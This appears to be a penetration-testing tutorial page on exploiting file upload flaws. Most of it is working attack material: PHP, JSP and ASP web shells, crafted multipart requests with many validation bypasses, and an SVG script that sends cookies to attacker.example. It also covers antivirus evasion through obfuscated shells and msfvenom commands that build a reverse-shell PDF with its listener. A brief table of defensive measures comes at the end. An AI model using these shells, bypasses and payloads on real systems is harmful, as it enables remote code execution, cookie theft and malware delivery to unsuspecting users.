Salta ai contenuti
Seleziona tema

Malicious file upload

Questi contenuti non sono ancora disponibili nella tua lingua.

File upload vulnerabilities exist when an application lets users upload files without properly validating what those files are and what they do. The impact depends on two things: which validation the server fails to enforce, and whether the server ever executes the uploaded file.

The worst case is straightforward: the server allows uploading a file with an executable extension (.php, .jsp, .asp) and the web server is configured to execute that extension. Upload a web shell, request it, and you have RCE.

Web servers decide how to handle a requested file based on its extension:

File type Server behavior
Non-executable (.png, .html, .css) Serves the file content as-is
Executable (.php) and configured to execute Runs the script, returns the output
Executable but not configured Returns an error, or leaks the source code as plaintext

The vulnerability exists because validation happens at upload time (checking the file looks safe) while execution happens at request time (the web server decides based on the extension). If the upload validation is flawed, the attacker controls what the web server executes.

A web shell is the payload. Once uploaded and executed, it gives the attacker arbitrary command execution through HTTP requests.

PHP command execution shell - takes a cmd parameter and passes it to the OS:

shell.php
<?php echo system($_GET['cmd']); ?>
Request
GET /uploads/shell.php?cmd=id HTTP/1.1
Host: target.example
Response
HTTP/1.1 200 OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)

PHP file read shell - reads any file the web server user can access:

read.php
<?php echo file_get_contents('/etc/passwd'); ?>

JSP shell (Java web servers like Tomcat):

shell.jsp
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASP shell (IIS):

shell.asp
<%eval request("cmd")%>

Applications typically stack multiple validation checks. Each one is bypassable on its own.

The server checks the Content-Type value in the multipart upload body. This value is client-controlled and trivially spoofable.

Original upload request (intercepted in Burp)
POST /upload HTTP/1.1
Host: target.example
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-httpd-php
[PHP web shell content]
------Boundary--

The server blocks application/x-httpd-php. Change it to an allowed type:

Modified request (Content-Type spoofed)
POST /upload HTTP/1.1
Host: target.example
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
[PHP web shell content]
------Boundary--

The server sees image/jpeg, allows the upload. The file is saved as shell.php. When requested, the web server executes it based on the .php extension, ignoring the content type it was uploaded with.

Bypass 2 - Extension blacklist (alternative extensions)

Section titled “Bypass 2 - Extension blacklist (alternative extensions)”

The server blocks .php but forgets other extensions that the web server also executes as PHP:

Blocked Alternatives that execute as PHP
.php .php5, .php7, .phtml, .phar, .phps
.asp .aspx, .ashx, .asmx, .cer
.jsp .jspx, .jspf
Upload with alternative extension
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.phtml"
Content-Type: image/jpeg
[PHP web shell content]
------Boundary--

If the web server has AddHandler application/x-httpd-php .phtml in its Apache configuration (or equivalent), shell.phtml executes as PHP.

If the server allows uploading .htaccess (Apache) or web.config (IIS), the attacker can reconfigure how the server handles specific extensions in that directory.

Step 1: upload a .htaccess file that maps a custom extension to PHP:

.htaccess
AddType application/x-httpd-php .evil

Step 2: upload the web shell with the custom extension:

shell.evil
<?php echo system($_GET['cmd']); ?>

Now .evil files in that directory are executed as PHP.

IIS equivalent:

web.config
<configuration>
<system.webServer>
<handlers>
<add name="evil" path="*.evil" verb="*"
modules="FastCgiModule"
scriptProcessor="C:\php\php-cgi.exe"
resourceType="Unspecified" />
</handlers>
</system.webServer>
</configuration>

When the server has a blacklist, these obfuscation tricks can slip through:

Technique Filename Why it works
Case sensitivity shell.pHp Blacklist checks for .php (lowercase), but the filesystem or web server is case-insensitive
Double extension shell.php.jpg Server checks the last extension (.jpg), but Apache may parse .php if AddHandler matches anywhere in the filename
Trailing dot shell.php. Windows strips the trailing dot after validation
Trailing space shell.php Same stripping behavior on Windows
Semicolon (IIS) shell.asp;.jpg IIS truncates at the semicolon, executes shell.asp
URL encoding shell.%70%68%70 If the server decodes after validation: .php
Double URL encoding shell.%252e%2570%2568%2570 If the server double-decodes
Null byte (legacy) shell.php%00.jpg Old PHP/Java truncate at %00, saves as shell.php
Stripping bypass shell.p.phphp If the server strips .php once, the remaining chars form .php
NTFS alternate data stream shell.php::$DATA Windows NTFS, server may not strip ::$DATA
Null byte bypass
------Boundary
Content-Disposition: form-data; name="file"; filename="shell.php%00.jpg"
Content-Type: image/jpeg
[PHP web shell content]
------Boundary--

Bypass 5 - Magic bytes / content validation (polyglot files)

Section titled “Bypass 5 - Magic bytes / content validation (polyglot files)”

The server reads the first bytes of the file to verify its format:

Format Magic bytes (hex) ASCII
JPEG FF D8 FF (binary)
PNG 89 50 4E 47 0D 0A 1A 0A .PNG....
GIF 47 49 46 38 39 61 GIF89a
PDF 25 50 44 46 2D %PDF-

Polyglot approach: create a file that has valid image magic bytes but also contains executable code. Use exiftool to embed PHP in the image metadata:

Create a polyglot JPEG/PHP
exiftool -Comment='<?php echo system($_GET["cmd"]); ?>' image.jpg -o shell.php.jpg

The file starts with FF D8 FF (valid JPEG), passes magic byte validation, but contains PHP code in the EXIF comment field. If the server executes it as PHP (via extension bypass or misconfiguration), the code runs.

Minimal GIF polyglot (no source image needed):

shell.gif - GIF header followed by PHP
GIF89a;
<?php echo system($_GET['cmd']); ?>

The first 6 bytes are valid GIF magic. The rest is PHP. If the server checks only magic bytes and the file is executed as PHP, GIF89a; is treated as an unknown constant (ignored), and the PHP tag runs.

The upload directory might be configured as non-executable. The attacker uses ../ in the filename to escape to an executable directory:

Path traversal in filename
------Boundary
Content-Disposition: form-data; name="file"; filename="../shell.php"
Content-Type: image/jpeg
[PHP web shell content]
------Boundary--

If the server stores files in /var/www/uploads/ (non-executable) but does not sanitize the filename, the file lands at /var/www/shell.php (where PHP is executed).

URL-encoded variant (if the server strips ../ but does not decode first):

Encoded path traversal
Content-Disposition: form-data; name="file"; filename="..%2fshell.php"

Double URL-encoded:

Double-encoded path traversal
Content-Disposition: form-data; name="file"; filename="..%252f..%252fshell.php"

The server uploads the file first, validates it, then deletes it if it fails validation. During the brief window between upload and deletion, the file is accessible.

  1. Upload shell.php
  2. Immediately send GET /uploads/shell.php?cmd=id
  3. If the request arrives before deletion, the shell executes

Burp Intruder approach:

  1. Configure the upload request in Intruder with a null payload (repeat the same request)
  2. In a second Intruder tab, configure GET /uploads/shell.php?cmd=id with null payloads
  3. Run both simultaneously at maximum speed
  4. Look for 200 responses in the GET tab

Slowing down validation to widen the race window:

  • Upload a very large file (large image + PHP at the end)
  • Upload a file that triggers complex parsing (a nested archive)

The typical chain from upload to shell:

  1. Identify the upload - find a file upload feature (profile picture, document upload, import function)
  2. Determine the storage location - upload a legitimate file, check where it lands (look at the response, the URL of the uploaded file, or the page source)
  3. Test which validation is in place - upload a .php file and observe the error. Then try each bypass in order
  4. Upload the web shell - use the bypass that works
  5. Execute - request the uploaded file with a command parameter
Step 2: find the upload path
POST /upload/avatar HTTP/1.1
Host: target.example
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg
[valid JPEG data]
------Boundary--
Response reveals the path
HTTP/1.1 200 OK
{"status":"success","url":"/uploads/avatars/test.jpg"}

Now you know files land in /uploads/avatars/. Upload the shell there.

Even when the server does not execute uploaded files, file upload can still cause damage:

If the server serves uploaded files from the same origin, an HTML or SVG file with embedded JavaScript executes in the application’s context:

xss.svg
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch('https://attacker.example/steal?c='+document.cookie)</script>
</svg>

Office documents (.docx, .xlsx, .pptx) are ZIP archives containing XML files. If the server parses them (for preview or content extraction), XXE injection is possible through the embedded XML.

If the filename is used directly for storage without randomization, uploading a file named ../../../templates/index.html could overwrite the application’s main page (defacement).

Some servers accept file uploads via the HTTP PUT method without authentication:

PUT upload
PUT /uploads/shell.php HTTP/1.1
Host: target.example
Content-Type: application/x-httpd-php
[web shell content]

Check for this with an OPTIONS request first:

Check allowed methods
OPTIONS /uploads/ HTTP/1.1
Host: target.example

Uploading a web shell is only half the battle. Many servers run antivirus or endpoint protection that scans uploaded files. Understanding how AV detects malicious files is essential to bypass it.

AV engines use multiple detection layers:

Layer How it works What it catches
Signature-based Matches known byte sequences in the file Known malware, common web shells, well-known payloads
Heuristic Looks for suspicious patterns and structures (e.g., code inside image metadata) Modified or obfuscated variants of known threats
Behavioral Monitors what the file does when executed (sandboxing) Zero-day malware, custom payloads
YARA rules Custom pattern-matching rules written by analysts Organization-specific threat hunting

Signature-based detection is the most common for uploaded files. The AV maintains a database of byte patterns. For PHP web shells, signatures typically match combinations like:

  • The PHP opening tag near system(), exec(), passthru(), or shell_exec()
  • eval() combined with superglobals ($_GET, $_POST, $_REQUEST)
  • Known shell tools (c99, r57, WSO) by their unique strings

Instead of writing function names directly, build them at runtime so the string never appears as a contiguous token in the file:

Variable function call - concatenate the function name from parts:

Obfuscated shell (concatenation)
$f = 'sys'.'tem';
$f($_GET['cmd']);

Base64 encoding - the raw file contains no recognizable function calls:

Obfuscated shell (base64)
eval(base64_decode('encoded_payload_here'));

Character-level construction - build each character from its ASCII code:

Obfuscated shell (chr)
$a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);
$a($_GET['cmd']);

Signature scanners looking for function names followed by parameter superglobals will not match any of these.

If the AV specifically flags system(), use a different function that also executes OS commands:

Function Notes
system() Most commonly flagged
exec() Returns last line of output
passthru() Passes raw output directly
shell_exec() Returns complete output as string
popen() Opens a process file pointer
proc_open() More control over the process
pcntl_exec() Replaces the current process
Backtick syntax Equivalent to shell_exec(), often missed by scanners

Split the payload across multiple files to avoid triggering signatures on any single file:

  1. Upload loader.php that contains only include('data.dat');
  2. Upload data.dat with the actual shell code

The .dat file may not be scanned by the AV (non-executable extension), and the loader contains no suspicious function calls on its own.

Hide the payload in file metadata where AV scanners are less likely to inspect:

Inject into EXIF comment
exiftool -Comment='payload_here' clean.jpg -o evil.jpg

The file is a valid JPEG. Some AV engines skip metadata inspection entirely. If the server processes the file through an extension bypass, the PHP engine parses the entire file and finds the code in the EXIF data.

XOR-encode or AES-encrypt the payload. The source file contains only eval() with an opaque string. The actual shell code is decrypted at runtime. This defeats signature-based detection completely but may trigger heuristic rules on the eval() call itself.

  1. Generate or write the payload
  2. Test against the target AV locally (not VirusTotal, see below)
  3. If flagged, isolate the trigger: remove sections until it passes
  4. Obfuscate the flagged section
  5. Re-test until it passes while still functioning
  6. Upload to the target

When the target application does not execute uploaded files server-side but users download and open them, generate payloads that exploit client-side vulnerabilities:

Malicious PDF (targets vulnerable Adobe Reader)
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=<attacker-ip> LPORT=4444 \
-f pdf -o payload.pdf
Start the listener
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/meterpreter/reverse_tcp; \
set LHOST <attacker-ip>; set LPORT 4444; exploit"

The generated PDF has valid %PDF-1.4 magic bytes and a .pdf extension. It passes every upload validation check. When a user opens it in a vulnerable PDF reader, the embedded JavaScript triggers a reverse shell.

Format Flag Target
PDF -f pdf Adobe Reader JS vulnerabilities
Windows EXE -f exe Direct execution
WAR -f war Tomcat / JBoss manager deploy
PowerShell -f ps1 Fileless execution on Windows
DLL -f dll DLL sideloading / hijacking
Check How
Find upload features Profile pictures, document imports, CSV uploads, support ticket attachments
Determine storage path Upload a legitimate file, find its URL in the response or page source
Identify the web server Response headers (Server:, X-Powered-By:) tell you which extensions are executable
Test What to upload Expected if vulnerable
No validation shell.php directly 200 OK, file accessible
Content-Type only shell.php with Content-Type: image/jpeg Upload succeeds
Extension blacklist shell.phtml, shell.php5 Upload succeeds with alternative extension
Config override .htaccess mapping .evil to PHP, then shell.evil Both upload, shell executes
Extension obfuscation shell.php.jpg, shell.php%00.jpg, shell.pHp Upload succeeds, server executes
Magic bytes GIF89a polyglot or exiftool-injected JPEG Passes content check, executes if extension is right
Path traversal ../shell.php in filename File lands outside upload directory
Race condition Upload + rapid GET in parallel Shell executes before deletion

After a successful upload, verify the shell executes:

Confirm RCE
curl "https://target.example/uploads/shell.php?cmd=id"

If the response contains uid=33(www-data), you have RCE.

Measure What it prevents
Extension allowlist (not blacklist) All extension bypass tricks
Validate content, not headers - parse with a library (Pillow for images, a PDF parser), reject anything with unexpected structures Magic byte spoofing, polyglots
Re-encode uploaded images - strip EXIF, resize Embedded payloads in metadata
Generate random filenames server-side Path traversal, extension tricks, file overwrite
Serve uploads from a separate domain with Content-Disposition: attachment XSS via uploaded HTML/SVG
Non-executable upload directory Even if a shell is uploaded, it will not execute
Antivirus / sandbox scanning before storage Malicious content in valid file formats
Restrict file size and rate-limit DoS via disk filling, brute-force bypass attempts

2310 parole, circa 12 min di lettura